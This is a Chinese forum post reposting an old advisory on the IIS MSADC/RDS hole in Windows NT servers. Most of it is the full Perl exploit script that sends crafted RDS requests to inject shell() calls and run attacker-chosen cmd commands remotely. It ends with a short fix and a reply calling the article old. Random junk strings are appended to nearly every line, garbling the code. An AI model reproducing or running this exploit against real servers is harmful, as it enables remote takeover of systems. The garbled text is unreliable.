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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) D7 8) 4>X  
!H2C9l:rd  
涉及程序: EuhF$L1  
Microsoft NT server 2n<qAl$t  
!&W"f#_Z  
描述: Yqq$kln  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 QSlf=VK*y  
K*hf(w9="%  
详细: "a2H8x  
如果你没有时间读详细内容的话,就删除: _p3WE9T  
c:\Program Files\Common Files\System\Msadc\msadcs.dll cx,u2~43A&  
有关的安全问题就没有了。 %t,1_c0w  
%a%+!wX0x  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 I_{9eG1w?  
}[YcilU_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Cf8R2(-4  
关于利用ODBC远程漏洞的描述,请参看: lk5_s@V l  
$\=6."R5<  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w+:+r/!g  
#)Id J]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 f?oI'5R41  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp B$iMU?B3  
9}7oKlyk  
这里不再论述。 *R1d4|/G  
cHfK-R  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ]}*G[[ ^p  
+LvZ87O^~  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset SV$ASs  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! < :S?t2C  
r)*_,Fo|  
3@#,i<ge:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -0[>}!l=G  
n~L'icD[  
#!perl [xH2n\7  
# IWSEssP  
# MSADC/RDS 'usage' (aka exploit) script m"k i*9]  
# 5wVi{P5+  
# by rain.forest.puppy #oS  
# -F~9f>  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Q'vIeG"o  
# beta test and find errors! G/^5P5y%@  
k/6G j}l'o  
use Socket; use Getopt::Std; FL*w(Br.  
getopts("e:vd:h:XR", \%args); uvAy#,  
QyBK*uNdV  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; D(2kb  
=h1 QN  
if (!defined $args{h} && !defined $args{R}) { WHh2fN'A5  
print qq~ UBpM8/U  
Usage: msadc.pl -h <host> { -d <delay> -X -v } (,Zz&3 AV  
-h <host> = host you want to scan (ip or domain) 1[,#@!k@  
-d <seconds> = delay between calls, default 1 second R _~m\P  
-X = dump Index Server path table, if available YQw/[  
-v = verbose LP-KD  
-e = external dictionary file for step 5 (*@~HF,t=  
HEW9YC"  
Or a -R will resume a command session VA*79I#_q  
7~k~S>sO  
~; exit;} pu m9x)y1  
Q{)F$]w  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; blQzVp-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :7AauoI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} mqfEs0~I  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =iQ`F$M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} =FC;d[U  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^5iY/t~Q  
IDVY2`sM  
if (!defined $args{R}){ $ret = &has_msadc; H;"N|pBy  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} #h|,GvmF<b  
lQ(BEv"2G[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" -n$rKEC4  
. "cmd /c "; y*TNJJ|  
$in=<STDIN>; chomp $in; Z!BQtICs  
$command="cmd /c " . $in ; k kuQ"^<J  
r5$?4t  
if (defined $args{R}) {&load; exit;} /A`zy  
QK/+*hr;  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; #+5mpDh  
&try_btcustmr; \Q BpgMi(  
g{f>j d  
print "\nStep 2: Trying to make our own DSN..."; 6d?2{_},  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Z6 |'k:R8  
qS`|=5f  
print "\nStep 3: Trying known DSNs..."; `0i}}Zo  
&known_dsn; oew]ijnB  
;),O*Z|"v  
print "\nStep 4: Trying known .mdbs..."; M%dl?9pbq  
&known_mdb; 3[g++B."pC  
eDMwY$J  
if (defined $args{e}){ jn3|9x  
print "\nStep 5: Trying dictionary of DSN names..."; f;; S  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !B38! L  
"oGM> @q=B  
print "Sorry Charley...maybe next time?\n"; r:\5/0(  
exit; mQ `r`DW  
frO/ nx|9  
############################################################################## q.K$b  
JnKbd~  
sub sendraw { # ripped and modded from whisker GeW$lA I  
sleep($delay); # it's a DoS on the server! At least on mine... c#-97"_8  
my ($pstr)=@_; d"$oV~>P|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9tW.}5V  
die("Socket problems\n"); #K~j9DuR  
if(connect(S,pack "SnA4x8",2,80,$target)){ XQoT},C  
select(S); $|=1; ?9ho|  
print $pstr; my @in=<S>; NCh(-E  
select(STDOUT); close(S); XIW: Nk!S  
return @in; &+|4(d1  
} else { die("Can't connect...\n"); }} b5,}w:  
y5tAp  
############################################################################## &JQ@(w  
%<o$ J~l~  
sub make_header { # make the HTTP request 'f<_SKd  
my $msadc=<<EOT ,f""|X5  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 [LEh  
User-Agent: ACTIVEDATA Hbj:CViYq  
Host: $ip 2*;Y%NcP[  
Content-Length: $clen ^cXL4*_=  
Connection: Keep-Alive blkJm9]v  
&@Gu~)^(  
ADCClientVersion:01.06 m.g@S30  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 vpw&"?T  
"+ JwS  
--!ADM!ROX!YOUR!WORLD! 5x'y{S<  
Content-Type: application/x-varg 9%k.GE  
Content-Length: $reqlen OU5|m%CmO  
P!&CH4+  
EOT :^L]Da3  
; $msadc=~s/\n/\r\n/g; SG o:FG  
return $msadc;} uT t:/gm  
8q LgB  
############################################################################## _+Kt=;Y8  
2g8P$+;  
sub make_req { # make the RDS request $%"}N_M  
my ($switch, $p1, $p2)=@_; N5_.m(:  
my $req=""; my $t1, $t2, $query, $dsn; 6&Ir0K/  
Tsp-]-)  
if ($switch==1){ # this is the btcustmr.mdb query }EG(!)u  
$query="Select * from Customers where City=" . make_shell(); p5rRhu/|k3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . %YAiSSsV  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \@t5S  
"$V2$  
elsif ($switch==2){ # this is general make table query MOeLphY  
$query="create table AZZ (B int, C varchar(10))"; hd BC ^n  
$dsn="$p1";} e*Med)tc^$  
wef^o"aP  
elsif ($switch==3){ # this is general exploit table query NS~knR\&  
$query="select * from AZZ where C=" . make_shell(); ;l4 \^E1  
$dsn="$p1";} 9{#|sABGD  
'i-O  
elsif ($switch==4){ # attempt to hork file info from index server T@WMT,J6j  
$query="select path from scope()"; D}U<7=\3H  
$dsn="Provider=MSIDXS;";} YGmdiY:;1  
Bj[/ tQ  
elsif ($switch==5){ # bad query 6(^9D_"@  
$query="select"; w1G.^  
$dsn="$p1";} d iLl>z  
vj$ 6  
$t1= make_unicode($query); A)\DPLAG  
$t2= make_unicode($dsn); 0qUap*fvC  
$req = "\x02\x00\x03\x00"; D8{HOv;d^  
$req.= "\x08\x00" . pack ("S1", length($t1)); W)~.o/;  
$req.= "\x00\x00" . $t1 ; %$KO]   
$req.= "\x08\x00" . pack ("S1", length($t2)); A>2p/iMc  
$req.= "\x00\x00" . $t2 ; JU.%;e7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; z$5C(!)  
return $req;} L2$L.@  
D*Q#G/TF3  
############################################################################## /8HO7E+5  
~8{3Fc0  
sub make_shell { # this makes the shell() statement bD-Em#>  
return "'|shell(\"$command\")|'";} 'vIkA=  
[ LDzR7vnf  
############################################################################## LkB!:+v |B  
.4(f0RG  
sub make_unicode { # quick little function to convert to unicode xJGeIh5  
my ($in)=@_; my $out; s@iCfXU  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } nv{4 U}&P  
return $out;} x7@HPf  
?zu{&aOX|  
############################################################################## qE:DJy <  
a$O]'}]`  
sub rdo_success { # checks for RDO return success (this is kludge) "A+F&C>  
my (@in) = @_; my $base=content_start(@in); EC&,0i4n:  
if($in[$base]=~/multipart\/mixed/){ %.U{):lNx  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} {3Wc<&D C1  
return 0;} X5<.%@Z  
93DBZqN  
############################################################################## B '/ >Ax&  
0.0!5D[  
sub make_dsn { # this makes a DSN for us f~9Y1|6  
my @drives=("c","d","e","f"); Vatt9  
print "\nMaking DSN: "; BF!zfX?n  
foreach $drive (@drives) { (W!$6+GT  
print "$drive: "; DdO '  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . mhuaXbr  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" PtOnj)Q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); KHN ,SB  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .Y.# d7TA  
return 0 if $2 eq "404"; # not found/doesn't exist Z?mg1;Q  
if($2 eq "200") { ;BVhkW A  
foreach $line (@results) { p2(_YN;s  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 9-6_:N>  
} return 0;} y*(j{0yd  
n82Q.M-H  
############################################################################## `%p6i| _Q  
V~Lq, oth  
sub verify_exists { sR .j~R  
my ($page)=@_; TMsoQ82  
my @results=sendraw("GET $page HTTP/1.0\n\n"); #Q7$I.O]  
return $results[0];} sdD[`#  
oy: MM  
############################################################################## 2&URIQg*J  
?Fpl.t~  
sub try_btcustmr { 18`%WUPnT  
my @drives=("c","d","e","f"); j}l8k@f  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3>Snd9Q  
;~1JbP  
foreach $dir (@dirs) { F k;su,]_  
print "$dir -> "; # fun status so you can see progress -5.%{Go$[  
foreach $drive (@drives) { |hoZ:  
print "$drive: "; # ditto qT @IY)e  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; f tDV3If  
$reqlenlen=length( "$reqlen" ); q:^Cw8  
$clen= 206 + $reqlenlen + $reqlen; >IjLFM+U  
Ghc0{M<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ![^h<Om  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Jo<6M'  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0g-ESf``{n  
q(Q9FonU  
############################################################################## +r_[Tj|Er  
,+.# eg  
sub odbc_error { FG:BRS<m~  
my (@in)=@_; my $base; $uhDBmb  
my $base = content_start(@in); koZp~W-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this p04+"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; aM!#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; G - WJlu  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {E|gV9g  
return $in[$base+4].$in[$base+5].$in[$base+6];} !k9h6/ b6  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 2s%M,Nb  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . O%e.u>=4%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} C|LQYz-{  
2z3A"HrlA  
############################################################################## f*Js= hvO  
_9r{W65s  
sub verbose { #57z-x[1  
my ($in)=@_; D[M?27  
return if !$verbose;  H>6;I  
print STDOUT "\n$in\n";} >~~\==".  
G.TX1  
############################################################################## f4}6$>)  
"@$STptkc  
sub save { ?UDO%`X  
my ($p1, $p2, $p3, $p4)=@_; #" -^;Z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ':4pH#E  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ypo=y/!  
close OUT;} *`T &Dlt'8  
H_nJST<v`  
############################################################################## G[j79o  
BwD1}1jp  
sub load { ^/vWK\-  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3=7h+ZgB  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); krc!BK`V  
@p=<IN>; close(IN); (=V[tI+Ngt  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); [)n}!5fE  
$target= inet_aton($ip) || die("inet_aton problems"); c@M@t0WT[  
print "Resuming to $ip ..."; wkA!Jv%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ZRGZ'+hw  
if($p[1]==1) { 7!w nx.  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; # HYkzjb  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; zAJUL  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3HR]TQ%r  
if (rdo_success(@results)){print "Success!\n";} +Ob#3PRy  
else { print "failed\n"; verbose(odbc_error(@results));}} );H[lKy  
elsif ($p[1]==3){ 4+,Z'J%\[7  
if(run_query("$p[3]")){ #SNI dc>9\  
print "Success!\n";} else { print "failed\n"; }} Fg_s'G,`  
elsif ($p[1]==4){ l}c2l'  
if(run_query($drvst . "$p[3]")){ mXj Ljgc}  
print "Success!\n"; } else { print "failed\n"; }} q.{/{9  
exit;} /j@ `aG(a  
!5t 3Y  
############################################################################## tdF[2@?+  
F:GKnbY  
sub create_table { ~la04wR28  
my ($in)=@_; :Xh`.*{EX  
$reqlen=length( make_req(2,$in,"") ) - 28; QC,(rB  
$reqlenlen=length( "$reqlen" ); 5V8C+k)  
$clen= 206 + $reqlenlen + $reqlen; :9#{p^:o  
my @results=sendraw(make_header() . make_req(2,$in,"")); l?_!eA  
return 1 if rdo_success(@results); /+O8A}  
my $temp= odbc_error(@results); verbose($temp); 15DK \_;  
return 1 if $temp=~/Table 'AZZ' already exists/; Hd`p_?3]  
return 0;} w{x(YVS H  
/,$\H  
############################################################################## ^|(4j_.(e  
<W') ~o}  
sub known_dsn { % ul{nL:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go fhx:EZ:~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", )0MshgM  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", })vr*[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); v} ;qMceJ  
G<6grd5PP  
foreach $dSn (@dsns) { $50"3g!Y  
print "."; }(EOQ2TI  
next if (!is_access("DSN=$dSn")); z}2e;d 7  
if(create_table("DSN=$dSn")){ WTs[Sud/  
print "$dSn successful\n"; G11.6]?Gg  
if(run_query("DSN=$dSn")){ \&)W#8V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ltd?#HP  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 8Flf,"a   
BG0M j2  
############################################################################## v/.h%6n?  
&})d%*n  
sub is_access { ~<OjXuYu  
my ($in)=@_; i/~QJ1C  
$reqlen=length( make_req(5,$in,"") ) - 28; (ul-J4E\O  
$reqlenlen=length( "$reqlen" ); %kFELtx  
$clen= 206 + $reqlenlen + $reqlen; (H%d]  
my @results=sendraw(make_header() . make_req(5,$in,"")); s Xk?.A_D  
my $temp= odbc_error(@results); )pn7DIXG  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); AeCG2!8^0  
return 0;} B00wcYM<1r  
^|i\d \  
############################################################################## mX.3R+t  
%7d@+ .  
sub run_query { m&0BbyE.z  
my ($in)=@_; fB,1s}3Hn  
$reqlen=length( make_req(3,$in,"") ) - 28; W)msaq,  
$reqlenlen=length( "$reqlen" ); "u8o?8+q~  
$clen= 206 + $reqlenlen + $reqlen; i)PV{3v$J  
my @results=sendraw(make_header() . make_req(3,$in,"")); EZumJ."  
return 1 if rdo_success(@results); %g@3S!lK  
my $temp= odbc_error(@results); verbose($temp); b_gN?F7_  
return 0;} m?% H<4X  
UAXF64w{  
##############################################################################  `pd   
Bd~cY/M  
sub known_mdb { 'S4EKV]  
my @drives=("c","d","e","f","g");  |iUfM3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RzJ}CT  
my $dir, $drive, $mdb; @))}\:  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; & Yf#O*  
bZay/ Zkj  
# this is sparse, because I don't know of many skD k/-*R  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 6 #x)W  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ~73i^3yf  
"\\system32\\certmdb.mdb", UtBlP+bE?y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% lH@E%  
K&IrTA j}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", jw(> @SXz  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Xm=^\K3  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", f,HzrHax  
"\\cfusion\\cfapps\\security\\realm_.mdb", io r [v  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", H@2"ove-uC  
"\\cfusion\\database\\cfexamples.mdb", fqk Dk  
"\\cfusion\\database\\cfsnippets.mdb", h?3,B0G  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", PUjoi@]  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Ie&b <k  
"\\cfusion\\brighttiger\\database\\cleam.mdb", hp]ng!I{\u  
"\\cfusion\\database\\smpolicy.mdb", +fP/|A8P  
"\\cfusion\\database\cypress.mdb", v;bP8)mI  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3ES[ N.V#  
"\\website\\cgi-win\\dbsample.mdb", `\F%l?aY  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Cs[7% j  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" g y e(/N+I  
); #these are just <.=#EV^i  
foreach $drive (@drives) { QTjftcu  
foreach $dir (@dirs){ vMZ7uO  
foreach $mdb (@sysmdbs) { L_lDFF  
print "."; NBqV0>vR  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ gAr`hXO  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |;.Pj 3)-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ /#qs(! d  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <f.>jjwFE  
} else { print "Something's borked. Use verbose next time\n"; }}}}} cR=94i=t  
=yTa,PY  
foreach $drive (@drives) { x*R8^BA]pR  
foreach $mdb (@mdbs) { "h;;.Y8e  
print "."; ( ztim  
if(create_table($drv . $drive . $dir . $mdb)){ =2nn "YVP  
print "\n" . $drive . $dir . $mdb . " successful\n"; wsJ%* eYf  
if(run_query($drv . $drive . $dir . $mdb)){ #mRFUA  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ,bVS.A'o  
} else { print "Something's borked. Use verbose next time\n"; }}}} xjK_zO*dLq  
} TXJY2J*24  
c.8((h/  
############################################################################## lsB9;I^+x  
)zW%\s*'  
sub hork_idx { n-hvh-ZO  
print "\nAttempting to dump Index Server tables...\n"; Jny)uo8  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Q$fRi[/L  
$reqlen=length( make_req(4,"","") ) - 28; P!FEh'.  
$reqlenlen=length( "$reqlen" ); kBy rhK5U  
$clen= 206 + $reqlenlen + $reqlen; #6N+5Yx_[  
my @results=sendraw2(make_header() . make_req(4,"","")); AvrL9D  
if (rdo_success(@results)){ 'wz\tT^  
my $max=@results; my $c; my %d; o=-Vt,2{  
for($c=19; $c<$max; $c++){ b\?7?g  
$results[$c]=~s/\x00//g; gv#c~cX]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; . Z*j!{@c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; # cN_y  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _)zmIB(}m  
$d{"$1$2"}="";} ws>WA{]gq  
foreach $c (keys %d){ print "$c\n"; } BSfm?ku"!  
} else {print "Index server doesn't seem to be installed.\n"; }} tM^;?HL]  
*gd?>P7\0  
############################################################################## 2JiAd*WK  
! EX?m }7  
sub dsn_dict { QY~<~<d+G  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); U/X|i /  
while(<IN>){ ePq13!FC/  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 15xd~V?ai:  
next if (!is_access("DSN=$dSn")); MegE--h  
if(create_table("DSN=$dSn")){ =f4[=C$&`  
print "$dSn successful\n"; <G~} N  
if(run_query("DSN=$dSn")){ &2io^A P  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { TvunjTpaj  
print "Something's borked. Use verbose next time\n";}}} m"gni #  
print "\n"; close(IN);} UCn*UX  
h"%|\o+3  
############################################################################## Ew %{ i(d  
%XP_\lu]  
sub sendraw2 { # ripped and modded from whisker D!bKm[T  
sleep($delay); # it's a DoS on the server! At least on mine... n+{HNr  
my ($pstr)=@_; ~K~b`|1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L$+d.=]  
die("Socket problems\n"); K\{b!Cfr^  
if(connect(S,pack "SnA4x8",2,80,$target)){  <+AIt  
print "Connected. Getting data"; N5 SLF4R1  
open(OUT,">raw.out"); my @in; >~I xyQp  
select(S); $|=1; print $pstr; bJQ5- *F  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} AT B\^;n.  
close(OUT); select(STDOUT); close(S); return @in; Iv$:`7|crX  
} else { die("Can't connect...\n"); }} q&XCX$N  
M.ZEqV+k  
############################################################################## jWH{;V&ZV  
f^W[; w  
sub content_start { # this will take in the server headers mje<d"bW  
my (@in)=@_; my $c; jM5_8nS&d  
for ($c=1;$c<500;$c++) { =\~E n5  
if($in[$c] =~/^\x0d\x0a/){ r0\cc6  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ?HrK\f3wWO  
else { return $c+1; }}} lLuID  
return -1;} # it should never get here actually de> ?*%<  
=X-^YG3x  
############################################################################## P?9nTG  
\Fj5v$J-  
sub funky { -VS9`7k  
my (@in)=@_; my $error=odbc_error(@in); C#MF pT  
if($error=~/ADO could not find the specified provider/){ M{`/f@z(  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :s'o~   
exit;} q} ]'Q -  
if($error=~/A Handler is required/){ j/)"QiS*?  
print "\nServer has custom handler filters (they most likely are patched)\n"; r<;l{7lY_  
exit;} k? 3S  
if($error=~/specified Handler has denied Access/){ ;i<$7MR.e  
print "\nServer has custom handler filters (they most likely are patched)\n"; ic%?uWN  
exit;}} .6>  hD1'  
i 8l./Yt/  
############################################################################## XB0a dp  
&|v{#,ymeb  
sub has_msadc { PX;Vo~6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); weNzYMf%  
my $base=content_start(@results); "pt+Fe|@c;  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Dt.0YKF  
return 0;} 1 6"#i  
6!P`XTTE  
######################## yiiyqL*E  
Ne3R.g9;Z  
Lltc 4Mzw  
解决方案: OnZF6yfN=3  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll b,nn&B5@{  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 )h#]iGVN}  
LH4>@YPGE#  
拿出来充数 哈哈
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